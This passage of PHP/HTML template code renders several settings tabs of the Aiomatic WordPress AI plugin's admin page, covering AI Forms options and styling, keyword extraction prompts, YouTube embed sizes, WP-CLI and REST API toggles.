'aiomatic-automatic-ai-content-writer');?>"/></p> </td></tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/e5tPgqOB8ss" frameborder="0" allowfullscreen></iframe> </td></tr></table> </div> <div id="tab-18<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('AI Forms', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Forms' tab enables you to create and manage smart forms powered by AI, designed to improve user interaction and data collection on your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Forms Restrictions:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the min length for form input fields.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Input Fields Min Length:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[min_len]" value="<?php echo esc_html($min_len);?>" placeholder="3" class="cr_width_full"> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the max length for form input fields.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Input Fields Max Length:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[max_len]" value="<?php echo esc_html($max_len);?>" placeholder="10" class="cr_width_full"> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Forms Image Options:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the image size for AI generated images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select autocomplete="off" id="ai_image_size" name="aiomatic_Main_Settings[ai_image_size]" class="cr_width_full"> <option value="256x256" <?php if($ai_image_size == '256x256'){echo ' selected';}?> ><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512" <?php if($ai_image_size == '512x512'){echo ' selected';}?> ><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" <?php if($ai_image_size == '1024x1024'){echo ' selected';}?> ><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792" <?php if($ai_image_size == '1024x1792'){echo ' selected';}?> ><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024" <?php if($ai_image_size == '1792x1024'){echo ' selected';}?> ><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the image model for AI generated images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select autocomplete="off" id="ai_image_model" name="aiomatic_Main_Settings[ai_image_model]" class="cr_width_full"> <option value="dalle2" <?php if($ai_image_model == 'dalle2'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3" <?php if($ai_image_model == 'dalle3'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd" <?php if($ai_image_model == 'dalle3hd'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Forms Options:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show advanced form options for users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Advanced Form Options For All Textual AI Forms (Global):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="show_advanced" name="aiomatic_Main_Settings[show_advanced]"<?php if ($show_advanced == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show a WP Rich Text editor instead of a plain textarea for the AI results output, for all created textual AI Forms.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show WP Editor Input For All Textual AI Forms (Global):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="show_rich_editor" name="aiomatic_Main_Settings[show_rich_editor]"<?php if ($show_rich_editor == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show a 'Character Counter' text under to the results of textual AI Forms.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable the 'Character Counter' Text For All Textual Forms Results (Global):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="enable_char_count" name="aiomatic_Main_Settings[enable_char_count]"<?php if ($enable_char_count == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show a 'Copy' button next to the results of textual AI Forms.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable the 'Copy' Button For All Textual Forms Results (Global):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="enable_copy" name="aiomatic_Main_Settings[enable_copy]"<?php if ($enable_copy == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show a 'Download' button next to the results of image AI Forms.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable the 'Download' Button For All Image Forms Results (Global):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="enable_download" name="aiomatic_Main_Settings[enable_download]"<?php if ($enable_download == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the location of the submit button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Submit Button Location:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="submit_location" name="aiomatic_Main_Settings[submit_location]" class="cr_width_full"> <option value="1"<?php if ($submit_location == "1") { echo " selected"; } ?>><?php echo esc_html__("Under Input Fields", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2"<?php if ($submit_location == "2") { echo " selected"; } ?>><?php echo esc_html__("Above Input Fields", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3"<?php if ($submit_location == "3") { echo " selected"; } ?>><?php echo esc_html__("Under Result Field", 'aiomatic-automatic-ai-content-writer');?></option> <option value="4"<?php if ($submit_location == "4") { echo " selected"; } ?>><?php echo esc_html__("Under Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the alignment of the submit button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Submit Button Alignment:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="submit_align" name="aiomatic_Main_Settings[submit_align]" class="cr_width_full"> <option value="1"<?php if ($submit_align == "1") { echo " selected"; } ?>><?php echo esc_html__("Left", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2"<?php if ($submit_align == "2") { echo " selected"; } ?>><?php echo esc_html__("Center", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3"<?php if ($submit_align == "3") { echo " selected"; } ?>><?php echo esc_html__("Right", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the placeholder text of the form output.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Output Placeholder Text:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[form_placeholder]" value="<?php echo esc_html($form_placeholder);?>" placeholder="AI Result" class="cr_width_full"> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Forms Styling:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Background color of the form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="color" name="aiomatic_Main_Settings[back_color]" value="<?php echo esc_html($back_color);?>"> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the text color of the form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Text Color:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="color" name="aiomatic_Main_Settings[text_color]" value="<?php echo esc_html($text_color);?>"> </td> </tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the button color of the form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Button Color:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="color" name="aiomatic_Main_Settings[but_color]" value="<?php echo esc_html($but_color);?>"> </td> </tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the button text color of the form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Button Text Color:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="color" name="aiomatic_Main_Settings[btext_color]" value="<?php echo esc_html($btext_color);?>"> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/NhbEeIXxu-0" frameborder="0" allowfullscreen></iframe> </td></tr> </table> </div> <div id="tab-23<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Link Keyword Extractor', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Link Keyword Extractor' tab provides settings for tools that analyze and extract relevant keywords from hyperlinks, enhancing your WordPress site's SEO and content relevance strategies.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Automatic Links Keyword Extractor Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the method you want to use for automatic article keyword extraction.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Keyword Extraction Method:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="kw_method" name="aiomatic_Main_Settings[kw_method]" onchange="kwChanged();" class="cr_width_full"> <option value="builtin"<?php if ($kw_method == "builtin") { echo " selected"; } ?>>Built-In</option> <option value="ai"<?php if ($kw_method == "ai") { echo " selected"; } ?>>AI</option> </select> </td> </tr> <tr class="kwai"> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="kw_assistant_id" name="aiomatic_Main_Settings[kw_assistant_id]" class="cr_width_full" onchange="assistantSelected('kw_assistant_id', 'disableKw');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($kw_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($kw_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="kwai"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the AI Linking Keyword Extraction.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Linking Keyword Extraction Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="kw_model" name="aiomatic_Main_Settings[kw_model]" <?php if($kw_assistant_id != ''){echo ' disabled';}?> class="disableKw cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($kw_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr class="kwai"> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI Linking Keyword Extraction feature. You can use the following shortcodes here: %%content%% - the default value for this field is: Extract a comma-separated list of the most relevant single word keywords from the text, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. The text is: %%content%%.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Linking Keyword Extraction Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[kw_prompt]" placeholder="AI Linking Keyword Extraction Prompt" class="cr_width_full"><?php echo esc_textarea($kw_prompt);?></textarea> </td> </tr> <tr class="kwbuiltin"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the language of the automatic keyword extractor, which is used for the internal/external linking feature of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Built-in Keyword Extractor Language:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="kw_lang" name="aiomatic_Main_Settings[kw_lang]" class="cr_width_full"> <option value="en_US"<?php if ($kw_lang == "en_US") { echo " selected"; } ?>>en_US</option> <option value="af_ZA"<?php if ($kw_lang == "af_ZA") { echo " selected"; } ?>>af_ZA</option> <option value="ar_AE"<?php if ($kw_lang == "ar_AE") { echo " selected"; } ?>>ar_AE</option> <option value="pt_BR"<?php if ($kw_lang == "pt_BR") { echo " selected"; } ?>>pt_BR</option> <option value="pt_PT"<?php if ($kw_lang == "pt_PT") { echo " selected"; } ?>>pt_PT</option> <option value="fr_FR"<?php if ($kw_lang == "fr_FR") { echo " selected"; } ?>>fr_FR</option> <option value="de_DE"<?php if ($kw_lang == "de_DE") { echo " selected"; } ?>>de_DE</option> <option value="it_IT"<?php if ($kw_lang == "it_IT") { echo " selected"; } ?>>it_IT</option> <option value="pl_PL"<?php if ($kw_lang == "pl_PL") { echo " selected"; } ?>>pl_PL</option> <option value="ru_RU"<?php if ($kw_lang == "ru_RU") { echo " selected"; } ?>>ru_RU</option> <option value="ckb_IQ"<?php if ($kw_lang == "ckb_IQ") { echo " selected"; } ?>>ckb_IQ</option> <option value="es_AR"<?php if ($kw_lang == "es_AR") { echo " selected"; } ?>>es_AR</option> <option value="ta_TA"<?php if ($kw_lang == "ta_TA") { echo " selected"; } ?>>ta_TA</option> <option value="tr_TR"<?php if ($kw_lang == "tr_TR") { echo " selected"; } ?>>tr_TR</option> <option value="fa_IR"<?php if ($kw_lang == "fa_IR") { echo " selected"; } ?>>fa_IR</option> <option value="nl_NL"<?php if ($kw_lang == "nl_NL") { echo " selected"; } ?>>nl_NL</option> <option value="zh_TW"<?php if ($kw_lang == "zh_TW") { echo " selected"; } ?>>zh_TW</option> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select in which parts of the posts published on your site do you want to search for related keywords. If you leave this field blank, the default values will be post title and content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Keywords For Related Posts, In:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select multiple id="rel_search" name="aiomatic_Main_Settings[rel_search][]" class="cr_width_full"> <option value="post_title"<?php if (in_array("post_title", $rel_search)) { echo " selected"; } ?>>Post Title</option> <option value="post_content"<?php if (in_array("post_content", $rel_search)) { echo " selected"; } ?>>Post Content</option> <option value="post_excerpt"<?php if (in_array("post_excerpt", $rel_search)) { echo " selected"; } ?>>Post Excerpt</option> </select> </td> </tr> </table> </div> <div id="tab-24<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('YouTube Embeds', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'YouTube Embeds Settings' tab allows you to customize and manage the integration of YouTube videos on your WordPress site, providing options for embedding styles and playback controls.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Embedded YouTube Player Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum width of the player in pixels. Default value is 580.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Player Max Width (Pixels):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="player_width" step="1" min="0" placeholder="<?php echo esc_html__("580", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[player_width]" value="<?php echo esc_html($player_width); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum height of the player in pixels. Default value is 380.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Player Max Height (Pixels):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="player_height" step="1" min="0" placeholder="<?php echo esc_html__("380", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[player_height]" value="<?php echo esc_html($player_height); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Check this to enable the AI writer to improve the YouTube video keywords.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Improve YouTube Video Search Keywords Using AI:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="improve_yt_kw" onchange="ytKwChanged();" name="aiomatic_Main_Settings[improve_yt_kw]"<?php if ($improve_yt_kw == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr class="hideytkw"> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="yt_assistant_id" name="aiomatic_Main_Settings[yt_assistant_id]" class="cr_width_full" onchange="assistantSelected('yt_assistant_id', 'disableYt');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($yt_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($yt_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideytkw"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the YouTube Video search keyword extractor prompt.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("YouTube Video Search Keyword Extractor Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="yt_kw_model" name="aiomatic_Main_Settings[yt_kw_model]" <?php if($yt_assistant_id != ''){echo ' disabled';}?> class="disableYt cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($yt_kw_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr class="hideytkw"> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the YouTube Video search keyword extractor. You can use the following shortcode: %%aiomatic_query%% - The default value for this settings field is: Using which keyword or search phrase should I search YouTube, to get the most relevant videos for this text? Provide a single variant, write only a single keyword or phrase, nothing else. The text is: \"%%aiomatic_query%%\"", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("YouTube Video Search Keyword Extractor Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[yt_kw_prompt]" placeholder="YouTube Video Search Keyword Extractor Prompt" class="cr_width_full"><?php echo esc_textarea($yt_kw_prompt);?></textarea> </td> </tr> </table> </div> <div id="tab-25<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('WP-CLI', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'WP-CLI Settings' tab offers configuration options for the WP-CLI, allowing you to customize command-line interactions and automate AI generated content tasks within your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("WP-CLI Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable Aiomatic's WP-CLI Integration?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Aiomatic WP-CLI Integration:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="enable_wpcli" name="aiomatic_Main_Settings[enable_wpcli]"<?php if ($enable_wpcli == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Aiomatic WP-CLI Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/V3AZxQM9irg" frameborder="0" allowfullscreen></iframe> </td></tr> </table> </div> <div id="tab-33<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('REST API', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'REST API Settings' tab offers configuration options for the REST API which can be provided by Aiomatic.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("REST API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable Aiomatic's REST API Feature?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Aiomatic REST API Feature:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="rest_api_init" name="aiomatic_Main_Settings[rest_api_init]"<?php if ($rest_api_init == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of private API keys (one per line), which will be used to allow access to the API provided by the plugin. If you leave this field blank, the API will be able to be called without an API key. If you set API keys here, they need to be added in the API request in this format: ?apikey=YOURKEY", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Whitelistest API Key List:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[rest_api_keys]" placeholder="API Key List" class="cr_width_full"><?php echo esc_textarea($rest_api_keys);?></textarea> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Aiomatic REST API Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td class="coderevolution_block_input" 